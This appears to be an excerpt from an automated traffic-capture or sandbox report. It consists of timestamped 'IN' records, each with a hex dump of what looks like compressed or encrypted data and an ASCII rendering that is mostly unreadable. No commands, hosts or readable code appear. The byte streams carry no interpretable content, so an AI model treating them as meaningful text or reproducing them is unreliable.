2021-12-28 04:19:41 UTC	1841	IN	Data Raw: 02 5e c0 b6 28 05 a6 44 b2 0d 0e 31 37 e1 30 22 11 e0 60 aa 4b 90 73 61 12 b3 9f 5f ec df af 95 5f 6d 8c 2f fc 9e 31 83 f7 85 e9 4e 74 f4 47 f2 88 19 4d 06 3c 3b 27 cc 01 27 e4 4e c4 29 71 ae 8f 7f 6e 19 ab a7 3a 64 b1 0b 02 be 76 76 17 01 d4 6d 8f 82 74 5b 74 6a 00 42 f9 74 9b 1e 43 f2 15 54 df db bc b5 27 13 7a a6 60 9e f2 0b 3c fa e9 3a 20 3c a1 5c 39 dc 90 c5 a8 cd ef 48 63 cf e1 b1 64 18 69 dd fa 73 77 06 79 70 7c a9 87 26 86 7a a0 80 8a 24 65 4c ee 51 81 e3 5c 18 b5 0b 3f 0c 3a e7 ae a8 4f 01 45 75 1c e0 82 98 ec f4 9b a4 b3 99 26 ab 3d 07 5a 00 6c d7 6d 80 66 36 1d 58 8b 87 a8 73 fd 96 73 ae 2f a6 7b 8a 48 29 36 01 e5 97 75 d6 e6 01 99 01 93 af b8 de c4 7a bc c2 59 26 c1 94 06 5d f7 5d b1 94 69 3e 6f a9 b2 aa 1f 28 d0 9a 91 11 59 45 49 b2 db f5 13 Data Ascii: ^(D170"`Ksa__m/1NtGM<;''N)qn:dvvmt[tjBtCT'z`<: <\9Hcdiswyp\|&z$eLQ\?:OEu&=Zlmf6Xss/{H)6uzY&]]i>o(YEI
2021-12-28 04:19:41 UTC	1857	IN	Data Raw: a4 78 44 8a 02 33 2a c7 11 06 59 8a 51 c1 0d 33 1f 7e b8 57 a0 92 9b f0 a5 3c d4 2e 7f 77 55 e4 57 55 01 c3 22 1b c6 df 3e 0f 0b ab fe 0d 72 8d 12 6e f0 ea 4a 76 d3 e7 45 2e 90 2e f2 f5 9d 78 51 c8 7b ae 7a bb df 07 b4 b7 2b dd d7 99 19 8c f4 02 57 1e 6c 37 5e 84 11 26 fe d9 e0 2e 66 48 20 a7 bb 84 a3 f7 28 df 4f 72 c6 22 72 3f e3 33 ca bc 98 52 01 84 67 fb 4e 46 54 e4 e5 65 df 21 f1 33 e7 4a 24 fb 03 30 c6 b7 62 bd 62 a2 a0 12 06 3f c7 5a 48 70 8d 8c 9d 0a e8 d1 29 03 c6 7d fc 50 dd e7 d0 ef 57 22 c2 14 a0 12 5f d5 31 bb 1e 51 cf 1f 2e 5b 04 41 c8 63 c7 e4 ce 92 64 b2 c9 26 0e ed 68 93 94 d8 ca 3f ed b4 d3 a4 25 c5 db e9 b8 38 a4 2e d8 c8 64 8e 19 8a 61 72 f5 bc df d0 ba 62 f1 43 fa 83 44 e4 66 f4 69 3f 5c 76 dc ac 9c 8e cf 32 1b 23 91 6e 7c 9d 92 78 ed Data Ascii: xD3*YQ3~W<.wUWU">rnJvE..xQ{z+Wl7^&.fH (Or"r?3RgNFTe!3J$0bb?ZHp)}PW"_1Q.[Acd&h?%8.darbCDfi?\v2#n\|x
2021-12-28 04:19:41 UTC	1873	IN	Data Raw: bb 19 bd 5c a1 97 b7 56 8e d0 03 f3 db a9 dc 21 6d d9 ce 4f 0e 08 08 75 35 78 f4 d4 8c d6 ce 85 54 1f b7 cc 70 b0 bd 8f 59 00 0a 8f 3d 92 35 c5 b0 35 42 ae 10 73 d0 ea e2 2d 1f ce 31 a0 79 5d a5 b9 a5 1d cd 5f 85 07 16 68 7e 09 82 7e 1a 20 39 68 29 3c b6 db 40 9a 83 aa d9 3c fe ef 43 f2 b2 82 c5 20 44 ba 58 53 11 69 19 06 2c 0c 2d 1d 01 1c 32 96 fa 55 52 65 c2 6e 3a 75 60 cb 8d 83 ab c2 af c2 5c f8 d5 eb de b2 7c 3f f4 d4 6e d6 50 be 78 ad 7f 57 a8 ef d2 9c c3 7a 13 b7 9e 3a d5 d3 47 c0 31 ed 16 ea 81 69 ed 07 0f 4d 20 97 8f ec 80 ea 97 1f e0 85 02 8f 0d d9 93 81 1f 9c f4 d3 97 d6 66 74 2c 2e 40 10 b2 aa 0c 87 a5 48 0f 9f 7c c0 57 5e cd 2d a5 1c 59 fa 55 9e 9c 12 62 6a 2f 21 b7 07 8e 40 b0 3d 59 86 02 df 38 a8 84 f9 78 6f 66 05 4f ce 5c 04 fe 30 4d bf d8 Data Ascii: \V!mOu5xTpY=55Bs-1y]_h~~ 9h)<@<C DXSi,-2URen:u`\\|?nPxWz:G1iM ft,.@H\|W^-YUbj/!@=Y8xofO\0M
2021-12-28 04:19:41 UTC	1889	IN	Data Raw: 5e 75 ca 06 13 74 d6 63 ed ce a2 b0 48 79 aa a1 11 ff 0e 43 d8 e1 86 06 64 b0 db 6a 66 40 b6 a3 e2 0a 63 cd d3 8c cd 07 11 83 aa b7 f0 aa b0 90 90 df 21 c2 12 0b cf c2 4b 18 52 22 db e9 7d ef ed d4 ea cc f1 06 b0 0a 5a 19 87 b8 34 61 30 1b e9 6f 1b e3 9f ac 5c 5d a1 5c 57 fc 16 fb 97 21 20 bc 75 9f 8d da b6 e2 e1 e7 c4 a5 63 aa 84 1c 5a 34 76 b8 9a 92 48 75 f1 90 d5 69 6f b0 10 c0 72 d3 1b be a4 36 b5 67 38 06 9a b4 50 cc d2 f2 3f c9 15 20 b8 e1 f5 ae da be 72 0c 8f 03 ab c8 65 a0 b3 5f 36 b6 ce e4 67 6d e3 e2 e0 8d 2e 6d 57 51 22 67 9a 0f eb d9 dc 83 89 4b 82 a8 93 39 f3 6d 6e cf 00 63 70 cb 07 ff 4e 7c b6 23 2b 7e cb 40 6a 3b f3 c4 90 f7 02 34 30 99 91 0e 79 e5 60 c7 d1 7a 49 a6 20 eb 8d f4 97 60 74 3e e9 dc 6c 71 21 39 d2 b7 47 11 c6 fb 80 da 6d 4f 34 Data Ascii: ^utcHyCdjf@c!KR"}Z4a0o\]\W! ucZ4vHuior6g8P? re_6gm.mWQ"gK9mncpN\|#+~@j;40y`zI `t>lq!9GmO4
2021-12-28 04:19:41 UTC	1905	IN	Data Raw: 8e 39 7d 66 58 40 0a 28 ed d2 88 a1 2f 0f e8 47 8b 0f 55 a9 60 7e 7b be 2c ae 27 cf fe 88 5b 5f e4 70 e5 3e 99 96 31 ca e1 93 8a 8c d5 c6 02 42 18 36 1d 18 19 8f 00 f1 46 14 e9 54 97 32 84 6a 65 b6 8e ac 66 20 0d 3a 28 cf e2 d6 94 48 a8 25 6d 47 16 a6 af e8 5f d0 03 4b 1d 0d f0 84 20 6f d7 b3 89 cc 32 95 a5 76 92 b3 c9 4e e7 4e 57 e9 dd 94 b2 f8 64 1c d3 d4 9f e9 fe 07 bd 25 ac 38 45 ef 68 c1 80 05 20 1e 46 e0 51 de a1 88 1b 9f 9f 86 27 6d 01 d9 66 ca 9d 6c 3b e9 33 24 66 21 27 9f 8f a9 46 06 c0 c2 97 10 fb 30 e8 4b 79 89 eb 6f fa ee 24 84 e9 f0 1a d3 49 5b 7f 80 c0 dc 51 85 b7 99 dc 40 7a 3d 37 fb 1e 82 b8 65 d8 d9 1a ef 98 7e be cb eb 3e 92 d2 3d 5c 9a 6b 86 53 a7 30 63 35 94 4e 5d a9 91 79 92 5e 8a 55 79 75 e6 f1 df 07 a6 80 cc 76 af 4b c8 63 da f5 f6 Data Ascii: 9}fX@(/GU`~{,'[_p>1B6FT2jef :(H%mG_K o2vNNWd%8Eh FQ'mfl;3$f!'F0Kyo$I[Q@z=7e~>=\kS0c5N]y^UyuvKc
2021-12-28 04:19:41 UTC	1921	IN	Data Raw: a0 ec 41 1e cd d4 14 de d3 9f d9 7a cc 5e c5 da e9 86 db ea 63 8c 7f f0 50 b1 36 11 71 78 64 6d 99 2d 36 c4 7e 8c a1 7f e7 28 45 46 00 ff da 52 dd ac 20 82 5f 87 da 57 f0 f8 27 f7 0f 89 cb 92 7b b8 cf bd bb 45 2a 1d 16 bc f2 74 58 c4 60 fa 91 cb 05 44 93 ce 70 3b c2 73 0a 15 4b 9c ea 89 5a 94 0b 8e 84 85 69 5d 67 e3 93 ce e8 38 f1 f9 a6 63 dc 54 df 30 35 6f da ce 8e 99 6a 88 84 39 49 56 a3 aa a0 1c d0 3a 0b 51 62 a3 30 22 2f 9f ef f3 64 2d 4a 24 d0 ab 6f fa b1 05 51 b0 69 a2 00 df 9c 9c 85 c3 80 a9 de cf 37 b8 95 de aa c8 e8 47 41 0f 4b c1 36 a3 5c 64 c3 6f 0b 40 30 70 e4 fe 52 d5 61 d8 6d 4d a5 15 ae bd cd 70 54 3c 1e 35 6f 36 3a e2 80 3e 91 b8 3a f8 db 51 e0 48 d1 e7 65 a8 da 2e b2 06 8a bc d0 93 9d f6 d2 54 42 7c 7c 8d 17 1e be 76 46 09 f2 19 16 25 96 Data Ascii: Az^cP6qxdm-6~(EFR _W'{E*tX`Dp;sKZi]g8cT05oj9IV:Qb0"/d-J$oQi7GAK6\do@0pRamMpT<5o6:>:QHe.TB\|\|vF%
2021-12-28 04:19:41 UTC	1937	IN	Data Raw: fe d8 56 f4 04 99 ef 9c 92 9a 17 df b1 a3 25 6c 56 a6 43 1d fa ec 8f 15 9a 3a 54 e1 03 04 f1 f5 c4 8b 9a 46 94 3e d6 1f 8f 96 fc 18 c0 77 3f b0 2d 68 d0 07 a5 48 96 b9 94 24 e5 ab 2d e3 2d 8c cb 20 d3 6a f8 c9 01 e7 1b 8d 79 2b ff 2f 1c bc 83 09 b6 61 2f f2 89 97 b2 4e 68 df 24 33 9b 67 8d cc 48 7d ad 05 6e 0d 6f 4f 5e 51 9c c9 18 c5 33 d5 6c 2b 8a d8 6e bd 3d 1e cc fc 26 a4 01 59 41 30 7d e7 b0 e7 aa 7b 3d 4d 0c f9 6a fb 5e d8 d7 65 42 34 95 f3 25 53 8b 75 fa 41 fd bd d8 5c 1c ff 00 c4 de 7b 88 3c e1 ff 40 48 28 c7 06 88 2f f7 71 f7 08 0a 96 d2 23 24 42 92 c8 81 99 be 9a eb bf 6a 34 ab 42 1d a2 2e 2d 70 aa ac 31 9c 95 fb c5 77 91 68 55 e9 b9 bb 11 84 fc 65 7e e5 ab db b3 84 2a 42 00 61 25 5f 7a 3c cf 45 9f 67 a5 37 40 d6 1e bd b3 b0 92 21 f3 89 0a 43 6e Data Ascii: V%lVC:TF>w?-hH$-- jy+/a/Nh$3gH}noO^Q3l+n=&YA0}{=Mj^eB4%SuA\{<@H(/q#$Bj4B.-p1whUe~*Ba%_z<Eg7@!Cn
2021-12-28 04:19:41 UTC	1953	IN	Data Raw: e3 6a 96 14 4e e6 1f b6 28 8d a3 c3 b7 51 a4 66 29 3b 45 1d ee 58 d6 d4 fd 31 a3 38 df e6 04 70 92 e7 10 10 a9 25 b4 18 84 81 5c 09 30 4d 04 d8 10 11 bb 8e b0 20 a6 d2 47 3d 46 e1 3b 23 85 01 eb 1b 7d 49 ab 97 cd 4a e0 d7 15 e2 bb ec f2 49 c0 1a 11 5e 8d 2c 55 9b 0b 1e 1e 73 48 4e d6 7f 1d 5c 68 c1 f7 36 8c 9d 42 e5 84 44 44 2a 25 3b ab d7 52 f3 bb c9 0a e4 49 15 8f e2 a1 cc 00 00 78 f1 e6 72 6d 08 4a e8 fe 5c 2c 66 8c 00 cc 94 2b 15 6b 05 da ef be df 46 1e f6 53 af 63 78 73 8f ea 1c b0 4e 79 21 24 0c a9 d1 02 45 d9 a4 11 00 34 84 e3 35 b1 63 7b 5a b0 00 f7 3c 34 b3 13 8e 91 fd 80 6d ff bd 09 02 3b 68 6e eb c2 cd 96 d9 8c 66 99 23 47 7c 5e 46 df 07 e5 0c e5 dc 97 17 a4 fd d8 07 0a 52 24 0a 04 3c 7f ff 3b a5 4b 86 34 89 72 0a aa 37 81 c7 ff 77 ef e0 80 26 Data Ascii: jN(Qf);EX18p%\0M G=F;#}IJI^,UsHN\h6BDD*%;RIxrmJ\,f+kFScxsNy!$E45c{Z<4m;hnf#G\|^FR$<;K4r7w&
2021-12-28 04:19:41 UTC	1969	IN	Data Raw: 05 2f 54 af 81 f5 01 26 11 e5 f7 1e 99 d5 84 f4 c7 ac 1f ba 69 b9 5a 31 80 6f a9 48 92 fa 8d 43 71 02 51 3a cd 21 b4 02 09 9c 14 65 4b bd 3b 2b ac 76 c4 31 55 3a 3c c4 a2 b0 79 6d a7 79 cb cc ab 35 ce c6 56 82 f4 e1 92 be f8 ba 2b 48 4f 2f 8c 8a b7 c6 e3 2f d3 a4 36 39 ed 94 c8 84 7b 10 84 3b b2 b4 9f c6 49 7b 24 dc c3 fb 7d c2 d9 c3 fa 3c b9 6b 7f 0f 8f 74 69 45 83 af 28 ed 87 e5 b4 67 d6 2e 8e 0f 41 c2 3b 0e 7a 95 90 a0 59 ea 0c ce 04 37 18 8a 13 e3 02 f8 91 44 0a 68 18 6a 39 d3 88 6c 97 a3 8d 61 10 f9 25 da 5e 81 96 b7 c6 09 29 f1 03 ef d3 d0 a9 d2 ef aa 5d e2 ce ce 70 ab 36 c3 25 d3 c7 2f c4 59 ff 2a 9c ca 07 bd 29 f9 fc 22 43 27 a7 05 e5 64 c5 ab 3c a4 e4 58 d3 e6 5a e8 c9 ed 79 a6 43 13 9b 16 b1 f0 28 b0 6a d9 35 5f 7c e4 22 e3 3f 37 64 91 32 e6 a7 Data Ascii: /T&iZ1oHCqQ:!eK;+v1U:<ymy5V+HO//69{;I{$}<ktiE(g.A;zY7Dhj9la%^)]p6%/Y*)"C'd<XZyC(j5_\|"?7d2
2021-12-28 04:19:41 UTC	1985	IN	Data Raw: 1f cb f6 8f f6 0e b4 7b f2 a4 0c df 84 1c b1 4f 00 f5 1b 53 21 b7 21 18 9f 0d 2b d3 46 e5 2f 4c 1e e9 94 41 4e a7 22 a6 c5 45 84 6a 15 46 f2 96 23 25 a9 10 be 5c f0 53 58 eb e1 f1 57 38 7e 62 2b be 3d 0a 5b cd 64 36 e2 5d 36 be fa c0 63 66 1d af a6 50 bd 7b 13 fe 89 98 b3 3f da 61 e9 73 ca ee f1 e3 eb 99 37 58 61 8f f7 11 d7 46 25 e2 be 87 0c d3 3c 9e 6c 1f 6c ee 2b 2c 31 2e ba e8 fd ec af f2 c1 8e 6e b3 a9 20 9e 00 e6 22 06 b4 99 02 c6 85 ac b2 b2 88 ae 60 29 62 5f 1b 12 96 7d 47 31 d8 30 c3 5d 95 b2 a5 92 52 5a d6 1d 57 d7 5a d9 b1 b2 4d f6 9f ac 6c 84 cd 97 5d 55 94 ca 56 f8 8f 21 95 a7 9b d9 1b 43 18 b2 67 bf 18 2e 00 c6 ef cc b5 09 fd ae 9e b8 6c e6 ca 88 20 fd 7b f4 ea 84 6a f9 57 cc 9f 8d 2f ee 82 a5 87 24 5e c6 65 7d 6e 94 a7 5b f8 86 1c 58 a0 72 Data Ascii: {OS!!+F/LAN"EjF#%\SXW8~b+=[d6]6cfP{?as7XaF%<ll+,1.n "`)b_}G10]RZWZMl]UV!Cg.l {jW/$^e}n[Xr
2021-12-28 04:19:41 UTC	2001	IN	Data Raw: 78 3a fc 47 f0 6f 20 46 6b 55 4a 25 a0 f7 85 f3 b8 10 d7 77 40 2e 52 13 a6 48 e9 d6 14 03 62 85 4f 6a 32 00 75 f7 15 e7 e8 78 0c 23 63 04 f6 50 b4 90 5b 72 2b fa d6 1a 6b eb a4 09 d9 a9 a8 51 02 bc 77 57 99 6d 93 02 0e 5d a8 f6 e4 38 c5 74 9e 6b 23 90 07 50 39 5c 68 3e 2a c7 d1 7c 1e 6c e0 3f b7 60 aa 3b 6f aa 41 1a ff 29 ad a1 c6 5e 9f 18 da 8e 4f 1c c6 a8 37 be 53 98 ae da 19 65 40 70 c5 47 bf ab 64 53 89 bc 3d fe 09 b8 76 d6 cd 9d a6 c7 2c a9 33 82 4b cf 4f 2c 5a a7 06 fe 4b b0 c0 7d e2 4a 92 bd 31 6b 80 b2 8f 3b 99 3d e3 b8 e1 c6 85 a0 39 39 ab c8 f7 c0 bc 44 2d 65 54 e6 a3 40 3c 9f 9f 5d 87 9e 21 e6 44 ae f7 d6 f7 0c be d4 13 ce 40 57 66 26 7a d9 7b cc 96 ad 90 17 bd b1 33 22 ee 9a 0a c7 10 6b c1 fa f5 07 e1 08 23 0c c2 14 68 50 93 b6 a7 c6 e3 ed 7b Data Ascii: x:Go FkUJ%w@.RHbOj2ux#cP[r+kQwWm]8tk#P9\h>*\|l?`;oA)^O7Se@pGdS=v,3KO,ZK}J1k;=99D-eT@<]!D@Wf&z{3"k#hP{
2021-12-28 04:19:41 UTC	2017	IN	Data Raw: 9a 16 4e 27 ae d9 3f bb 00 09 8c ed a1 34 1c e9 b1 00 81 cc eb 12 99 92 78 16 30 33 b2 c6 4c f7 5c 15 73 e4 be 33 7f 73 e6 92 31 3f f9 7d 71 32 88 09 0d 68 23 c7 c7 51 d5 c4 48 b6 b3 ca d2 f4 26 6c 23 e1 7c aa 66 a0 1e 46 24 f4 33 7c 39 d7 0a fe 84 4a 17 a4 9e 2a c9 6c d8 9e d8 9f a4 c4 eb 6e c3 49 30 51 5c bc a9 d4 43 83 f2 88 b4 fe 74 8d c8 2b 7f 16 88 dd 02 f8 c3 94 cf 1e cd 7c 69 89 ef cf ca 4e 07 48 65 fc d6 e6 38 da cb f3 79 00 9c 13 54 2f 2e ee 6a 97 6c f7 f6 50 bf 18 6a 9d f9 f1 c5 12 95 04 ff b4 bf c5 5a 51 43 d5 bc 5d 77 1e af 26 4a 25 36 df d0 91 e1 04 b5 04 b3 7d 88 dd 73 62 ba 86 8b 76 b2 2f f8 c2 aa 42 8a 3e de a5 3e ff 93 1a 98 dc 1c e5 3e 21 f3 79 a0 b8 b3 7c 18 aa 66 9a a9 62 36 a6 84 0f 4b 0f 12 46 93 9d aa 49 04 d7 c4 fb 2a fb a5 06 87 Data Ascii: N'?4x03L\s3s1?}q2h#QH&l#\|fF$3\|9JlnI0Q\Ct+\|iNHe8yT/.jlPjZQC]w&J%6}sbv/B>>>!y\|fb6KFI
2021-12-28 04:19:41 UTC	2033	IN	Data Raw: ee f3 90 d0 c6 c5 09 e4 5c f1 e7 fa c6 4c a9 f0 0f cf ca 1e 78 d4 42 34 fa f8 a4 d1 15 40 cf 14 97 8d 6d 7b c0 6c 68 b6 bf de f5 21 57 f7 d3 32 24 99 37 47 5e f1 7e af 2e 35 27 aa 17 ec 53 ea 21 46 49 64 20 e8 0c b4 54 4a a1 2c 21 2c 1d 9c ef 66 35 52 13 6a 4f ea 23 d5 c1 2d d1 6a f6 6a 54 91 25 af 7a bd 1c 7d ee 5e d4 96 37 b1 62 64 5b 6d 99 b5 2f 60 57 a3 7c dd 0e 02 cc 59 25 7f 34 08 61 e2 53 ae 7e 9c 38 dc 5f 29 80 7b 0a 94 28 c0 74 d4 65 7d 95 8e 1f d0 ad 1e 3f e5 b1 5d 78 a7 6f 5f 06 7b 5c f1 de 77 66 47 32 e1 b3 f9 37 e5 12 5c 14 5e 7f b4 3a a5 d3 74 23 21 08 fe 6c 6b 66 43 b3 4c a4 1e ea 5a 3c db f5 69 53 52 f0 8a 87 62 5d e3 12 6d b4 87 02 1e d1 e4 76 e4 f2 58 f2 53 c6 d0 0a 17 cd 41 51 9f c5 dd d2 a2 65 14 8f d8 71 d4 5e a8 5a 88 89 61 a2 8c c4 Data Ascii: \LxB4@m{lh!W2$7G^~.5'S!FId TJ,!,f5RjO#-jjT%z}^7bd[m/`W\|Y%4aS~8_){(te}?]xo_{\wfG27\^:t#!lkfCLZ<iSRb]mvXSAQeq^Za
2021-12-28 04:19:41 UTC	2049	IN	Data Raw: 5c dd a1 cd 1f 1c 19 cb dd 5e af 42 d3 ec be fe d7 80 30 83 ab c0 bb 4c 2e 3a 32 0d ce 5c 44 02 37 a4 60 09 0a a7 48 64 25 85 16 39 2f af 7e a1 8b 47 a8 95 8f 80 f3 30 8b d9 cd 10 58 7e 9c e7 23 e1 de 5b e8 4c a4 5d bd 49 68 22 bf e0 24 c0 c1 f8 da b3 09 3e d9 cc c6 a7 4d d2 37 34 f6 8f d8 58 3f bf c0 b0 2c 62 81 3b 58 64 85 f9 0f 1e 0b 14 27 b5 df 6a ef 6e 1f 78 a6 18 62 ef 97 d6 44 aa 26 4b 81 17 0a 23 6c 9c f0 c8 89 11 96 6a 74 fe 2c c2 b1 89 1d b8 f8 cd ea 04 95 60 c2 b4 f9 cc 09 67 ae 85 04 37 01 c3 dd b8 6e e5 8a 4a 82 b0 0c 34 78 b6 65 7b b4 ea 14 48 40 32 6e 1b 27 01 52 b4 57 e0 66 23 59 20 5a cf 51 c8 7b c7 68 74 84 cf bc f1 99 d0 94 1a 58 41 d8 e5 f3 95 c5 44 45 2e fb 97 b2 b1 42 77 c8 47 d8 19 f9 15 c7 0c 1a ba 33 e2 91 0f 56 25 8e e0 a9 ff 84 Data Ascii: \^B0L.:2\D7`Hd%9/~G0X~#[L]Ih"$>M74X?,b;Xd'jnxbD&K#ljt,`g7nJ4xe{H@2n'RWf#Y ZQ{htXADE.BwG3V%
2021-12-28 04:19:41 UTC	2065	IN	Data Raw: b4 4e 62 a0 35 e4 24 53 ce 49 cc 39 2a 20 d3 8e 75 3f 63 a3 f6 20 29 b7 ed 95 0b 9e a8 14 84 6d 75 50 70 1b 01 25 0f 34 1a f3 bb 58 00 46 06 7b 50 57 9a 5e 48 5f be 38 28 26 fe a7 18 ff ad 39 c9 ad fd 01 f4 42 c5 4a 73 1a d8 0e c7 f5 d5 97 b3 b0 86 c9 35 ee 1b b0 c9 a7 b1 d5 31 83 94 8a d8 51 e0 a9 ca 6a ba 21 4d e8 1c 31 fb 49 79 99 f5 06 85 2e 35 77 aa 75 1f 15 d0 3b 7e d3 fd cf f0 62 d0 e0 b5 40 65 cd 24 56 09 4b 4a 26 1d c9 c8 cb 82 55 aa 07 be ee b4 1c 91 f8 6b c4 72 bb ab bd 60 7a 82 f1 68 ce 03 37 64 0e 8c a2 3a ef 46 13 68 6a ef f4 94 54 7f 27 32 3a 16 6f a8 0f 48 12 3c 4d 33 98 2c 73 24 1a 4c a9 54 8c 8d 05 e3 a4 3b 34 0f 97 65 00 07 15 7f 45 19 bd 94 aa ab be 8a 86 94 f7 78 96 59 e9 86 b7 f8 b8 24 d5 7d fa 26 10 69 80 bf b4 88 c4 8d 8f b2 8e ef Data Ascii: Nb5$SI9* u?c )muPp%4XF{PW^H_8(&9BJs51Qj!M1Iy.5wu;~b@e$VKJ&Ukr`zh7d:FhjT'2:oH<M3,s$LT;4eExY$}&i
2021-12-28 04:19:41 UTC	2081	IN	Data Raw: c5 2d c4 2b 27 35 f0 ff c2 1a 46 50 79 62 72 cd 2d 56 bb b1 ed d7 18 20 77 b8 7b d2 99 64 b8 74 12 40 2f 46 a9 30 ca 26 a5 06 10 6e 6a b2 e3 68 ed 23 2e 71 aa 32 db 04 29 da 17 30 7d a0 8f 33 09 2c 78 37 82 5e 1a cc 4f d0 11 a4 38 31 d7 98 1c 87 6a f3 39 26 23 84 20 56 7b 61 cb d0 85 c3 eb 5a 4a 9e 8f a5 0f fa 67 ef 44 36 4d 83 63 cc 5d b2 5f d5 b8 3c b4 94 c6 9d 20 c0 5b 35 bc db 66 da c8 e6 c3 a4 07 f0 82 14 63 3e 0f 56 6f fb a8 59 12 5a 5d de 35 7b d8 ab 18 68 28 9c e2 1d 81 5b 86 2a 17 c0 5b 98 fc 10 62 50 7e e5 dd a7 f9 e3 bf 44 f4 51 27 24 c0 7b fb bb 01 69 79 9e f4 22 5d 11 09 ca 33 8e 0e 97 27 e4 a1 17 2e 95 9c 23 93 c7 91 0a e0 06 e5 12 8f ff d5 31 d4 7a 33 bd 50 0f a9 de f3 a4 3f f8 ef 97 8f 48 76 20 8c 41 52 52 0d bb 40 3a 54 97 2d 7a c9 c5 38 Data Ascii: -+'5FPybr-V w{dt@/F0&njh#.q2)0}3,x7^O81j9&# V{aZJgD6Mc]_< [5fc>VoYZ]5{h([*[bP~DQ'${iy"]3'.#1z3P?Hv ARR@:T-z8
2021-12-28 04:19:41 UTC	2097	IN	Data Raw: ba 55 98 28 09 20 4e 38 53 5d 66 4e 69 cd ae bb 21 05 d0 b8 c5 60 c1 00 9a b3 16 a0 e0 94 8f 4c 1a 80 d1 09 de 76 4a ac 7a d8 dc 3d a3 9a b2 e2 b7 6d 77 db 23 f9 84 df 0c 56 f0 20 9b d6 3a 15 d3 65 67 6f 57 6c 5f 71 88 67 f5 fe 53 18 72 c5 7b cf af f1 90 2c 16 ee e8 63 d0 f0 58 84 28 53 bb 95 43 a1 9f 85 9d f1 b2 d7 39 b2 63 41 f7 6d 09 d6 2e a2 f3 2f 80 b0 15 01 03 55 11 09 c9 b4 bd ad 2c c4 77 a1 b7 76 ba c6 b2 9d 2b 86 b8 5c 95 12 03 13 71 9b e2 5e 94 f2 8b 27 44 90 13 70 1c de b7 bb eb 26 55 c5 4c d2 10 bb 5f a6 fb df 86 f3 3d 24 36 57 67 6b 6a 96 96 ca 0b a6 ff 7d 61 fd 1b 51 ab eb fa 6f f4 36 2d f3 f2 c7 69 f2 11 0c 1b 8b 18 f6 54 f2 e2 20 d6 ff 8b 5d 80 e2 1f ab d6 fd 8b 0a df e1 2d 86 b9 6f 0e 1d 18 bd 8b 8e da b1 aa e2 88 e4 08 00 9b cd 02 2a ac Data Ascii: U( N8S]fNi!`LvJz=mw#V :egoWl_qgSr{,cX(SC9cAm./U,wv+\q^'Dp&UL_=$6Wgkj}aQo6-iT ]-o*
2021-12-28 04:19:41 UTC	2113	IN	Data Raw: 34 16 d2 20 9b f8 5b b3 de d8 0e c6 78 7c 79 5f 24 c8 2e a8 bf 1e fa f7 af c9 43 4f 4f c3 47 8f 1d d2 62 4d c7 f1 6d 11 64 01 d2 8d 44 95 86 5e b1 b7 f5 f3 c0 8d 2b 7e 2c 0b ff a5 d7 01 d2 37 86 5b 61 79 09 85 20 29 f1 42 14 40 b9 ae a8 13 e8 8e b1 0d d3 f7 ec 10 87 f1 48 15 f7 af ee 01 eb a7 92 0d a8 ff a2 96 a9 16 81 45 74 19 1c 8d 94 c2 57 49 49 74 8a 46 29 c9 0d 86 2d 03 7b 98 c0 c0 0c d2 87 ac 7f 74 cb 4d 6d 49 cf a1 82 02 62 a8 6a 85 61 0d 13 eb d6 05 ce 0f 63 2b 1b 70 a2 3f f9 1e 3f a7 f9 49 12 df 0b a0 ea ee 84 7e c2 63 08 8d d8 e2 8a a7 b8 bc fe a1 d3 25 e2 2d 5e ab 92 83 19 2b 47 55 a5 c4 d7 86 ce 19 1f a0 6e fb 96 bb d4 ae 4d f4 c7 c1 f6 68 96 0e 39 7b 0a f4 86 78 52 f0 c1 8e f8 24 c7 b4 6d 96 17 8e e9 48 19 2b 50 51 3a a0 20 7a 45 b2 e6 b4 81 Data Ascii: 4 [x\|y_$.COOGbMmdD^+~,7[ay )B@HEtWIItF)-{tMmIbjac+p??I~c%-^+GUnMh9{xR$mH+PQ: zE
2021-12-28 04:19:41 UTC	2129	IN	Data Raw: ba 60 5f 0c 98 7e 51 12 f9 05 ce 4e 45 82 71 08 73 ea 08 02 0d f3 b8 aa 96 50 51 1f b2 0f 39 90 e4 fc 1c b9 6e 22 56 25 aa ef 10 7c cf ae 34 e6 f1 c0 fe 8f 66 63 14 b2 9a 9e be c7 d3 81 e3 cb 77 4f 70 c4 7c 8d 77 c5 e5 9c 05 a3 1d 7f df 84 ad a1 49 2c 63 0c 05 d8 d9 f3 e5 6d ed 22 e6 7f 84 8a 53 da 64 9a 99 2e 6c 8f 53 3c b8 07 f4 8d fb 58 86 92 56 85 41 12 4e 18 80 2f a9 7f d1 11 4d 72 7e e6 73 6c d2 ce b0 57 4c 11 dc 7e 77 73 2a af 79 38 61 9e c1 72 2a f1 66 5b 91 a5 b0 65 41 f0 6b 1a 2d 3b 17 02 97 e4 32 89 81 f1 2f 75 c1 c3 2c 05 7c c1 e9 73 e9 10 17 8e 86 55 38 b0 b4 2d d6 38 23 4a c1 63 4b 21 ec ef 45 9e cb 9b 9f 8b 9f 3b d2 88 e7 7e 45 e5 9b 09 70 c7 ae 66 f6 d4 ba 8f e3 a8 99 70 39 bb 52 3f ec 63 37 e0 4b 0d 58 00 41 a7 05 f0 40 bb 44 30 35 6a b5 Data Ascii: `_~QNEqsPQ9n"V%\|4fcwOp\|wI,cm"Sd.lS<XVAN/Mr~slWL~wsy8arf[eAk-;2/u,\|sU8-8#JcK!E;~Epfp9R?c7KXA@D05j
2021-12-28 04:19:41 UTC	2145	IN	Data Raw: b5 2c 64 82 f4 96 ed 14 7c da 3a d6 3c 90 a8 50 3f c6 92 b4 69 0e 0a 47 88 76 af 4e 8b 1e e9 65 66 17 85 89 9c c9 34 6d 2c 22 9c 88 bf 24 3b f7 db 2d 58 67 33 a7 9a a6 e1 66 d4 ba b3 24 d0 6c 76 b5 64 a6 98 b0 a3 e1 d3 3d 64 2c 8c 13 be dc 5c a6 17 4f 15 81 4a ac 3c 7f 14 b5 42 85 de 23 15 47 c4 c7 68 82 4c 04 11 f0 5f d7 40 bf b1 8a 37 a3 0d 1c 28 ed 70 6e e4 4f 82 b9 53 07 ae 01 d7 84 c5 47 95 22 cb 4e 91 2a f5 f7 54 46 e8 1e be c2 b4 59 04 ba 2a 09 f4 27 2c f0 1d c7 34 11 1c dc 83 ab 15 2d d7 1c 81 f2 9f 73 6c 18 9f 2c 68 a4 a5 71 c5 c5 57 aa 5e 8e 40 ce 3c 76 33 91 e3 02 8b 4f 52 80 dd 25 71 fc b4 89 0b 23 b3 1e 19 2f 28 9f 3a 77 ce c2 80 1e 9d d5 c7 ba fa 48 fd d4 66 ac 02 84 f2 a0 d8 76 11 e4 46 d3 bb df 3a 02 04 9d 56 1d 5b 69 3f a1 51 9a ae 35 70 Data Ascii: 